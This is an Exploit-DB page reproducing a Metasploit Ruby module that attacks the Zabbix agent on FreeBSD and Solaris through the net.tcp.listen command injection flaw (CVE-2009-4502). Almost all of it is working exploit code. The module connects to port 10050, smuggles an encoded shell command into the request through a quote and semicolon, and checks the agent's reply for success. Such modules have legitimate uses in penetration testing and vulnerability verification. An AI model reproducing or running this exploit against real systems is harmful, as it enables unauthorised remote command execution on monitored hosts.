Zabbix Agent – ‘net.tcp.listen’ Command Injection (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • freebsd
• 来源：https://www.exploit-db.com/exploits/16918/

• ##
  # $Id: zabbix_agent_exec.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Zabbix Agent net.tcp.listen Command Injection',
  			'Description'=> %q{
  					This module exploits a metacharacter injection vulnerability
  				in the FreeBSD and Solaris versions of the Zabbix agent. This flaw
  				can only be exploited if the attacker can hijack the IP address
  				of an authorized server (as defined in the configuration file).
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-4502' ],
  					[ 'OSVDB', '60956' ],
  					[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'BadChars'=> "'",
  					'Space' => 1024,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Sep 10 2009'))
  
  		register_options(
  			[
  				Opt::RPORT(10050)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		rnd_port = rand(1024) + 1
  		buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"
  
  		print_status("Sending net.tcp.listen() request to the zabbix agent...")
  		sock.put(buf)
  
  		res = nil
  		begin
  			res = sock.get_once(-1, 5)
  		rescue ::EOFError
  		end
  
  		if ! res
  			print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")
  			disconnect
  			return
  		end
  
  		if (res =~ /ZBX_NOTSUPPORTED/)
  			print_status("The zabbix agent is not running a vulnerable version or operating system.")
  			disconnect
  			return
  		end
  
  		if(res !~ /ZBXD/)
  			print_status("The zabbix agent returned an unknown response.")
  			disconnect
  			return
  		end
  
  		print_status("The zabbix agent should have executed our command.")
  		disconnect
  	end
  
  end